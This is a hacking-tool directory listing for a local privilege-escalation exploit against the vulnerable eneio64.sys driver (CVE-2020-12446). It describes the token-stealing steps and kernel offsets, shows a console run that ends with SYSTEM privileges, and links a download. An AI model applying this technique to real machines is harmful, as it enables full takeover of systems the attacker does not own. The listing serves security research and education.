Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Eneio64-LPE — An Exploit for CVE-2020-12446 Eneio64.sys. Uses superfetch for address translation. | Kitploit
Tools/GitHubGitHub/s1lkys/eneio64-lpe
Privilege EscalationExploitationLearning & EducationBinary Exploitation
GitHubs1lkys/eneio64-lpe

Eneio64-LPE

An Exploit for CVE-2020-12446 Eneio64.sys. Uses superfetch for address translation.

View Repository
35 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
  1. Opens a handle to the vulnerable driver
  2. Maps physical memory into userspace
  3. Opens a handle to the System process
  4. Queries the SystemHandleInformation table of the current process for the obatined system handle leaking its EPROCESS address.
  5. Walks System EPROCESS ActiveProcessLinks flink until the PID of the current process is found.
  6. Patches the current process token with the token of System process
  7. Spawns a new powershell process.

Uses superfetch method for virtual2physical address translation instead of leaking CR3 and walking page tables.

Tested on Win11 21H2

root@kitploit:~
C:\Users\Public>.\Eneio64-LPE.exe
[+] Total physical memory: ~0x7fef2000 bytes
[+] Mapped physical memory at 000002A3A4FC0000
[+] Leaking System EPROCESS
[+] Opened handle to SYSTEM process (PID 4)
>    Current PID:  3932
>    Handle value: 0x5c
[+] Querying SystemHandleInformation table of current process
[+] Handle table queried successfully
>    Buffer size:    1048576 bytes
>    Resize rounds:  15
>    Total handles:  29211
[+] Searching for handle 0x5c in handle table
[+] Match found at index 29183 / 29211
>    PID:                      3932
>    Handle:                   0x5c
>    Object (System EPROCESS): 0xffff858ca1885040
[+] Searching for current process token. Walking ActiveProcessLinks from System Flink (System EPROCESS + 0x448) to current PID
[+] Next Flink addr - 0x448 = Next EPROCESS
[+] Found current process (PID 3932) token at [0x72cd25f8]
[+] Patching current token with SYSTEM token
[!] ==== Flink addr of current PID - EPROCESS ActiveProcessLinks Offset (0x448) + EPROCESS Token Offset (0x4B8) = Current Token ====
[+] Token replaced.
Microsoft Windows [Version 10.0.20348.2849]
(c) Microsoft Corporation. All rights reserved.

C:\Users\Public>whoami
nt authority\system

For educational use only!

Download Tool